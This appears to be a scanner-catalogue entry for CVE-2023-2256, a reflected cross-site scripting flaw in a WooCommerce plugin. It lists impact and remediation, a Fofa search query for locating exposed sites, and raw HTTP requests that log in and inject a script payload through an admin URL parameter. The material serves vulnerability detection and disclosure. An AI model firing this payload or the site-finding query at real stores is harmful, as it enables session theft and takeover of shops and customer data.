| Title | WordPress Product Addons & Fields for WooCommerce < 32.0.7 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | High |
| Impact | Attackers can inject malicious JavaScript through URL parameters in the admin panel, potentially stealing administrator session cookies and gaining full control over the WooCommerce store and customer data. |
| Remediation | Update Product Addons & Fields for WooCommerce plugin to version 32.0.7 or later that properly sanitizes and escapes URL parameters in the admin panel. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06383 |
| CVE ID | CVE-2023-2256 |
| CWE ID | CWE-79 |
| Fofa Query | body="wp-content/plugins/woocommerce-product-addon/" |
| Tags | cve cve2023 wp wordpress wp-plugin xss woocommerce woocommerce-product-addon authenticated vuln |
The Product Addons & Fields for WooCommerce WordPress plugin before version 32.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape some URL parameters in the admin panel, which could allow attackers to execute arbitrary JavaScript code in an administrator’s browser context.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=kKHm8e&pwd=Nhn9Uj&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=ppom&productmeta_id=5&do_meta=edit&%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2256.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2256.pcap
N/AN/A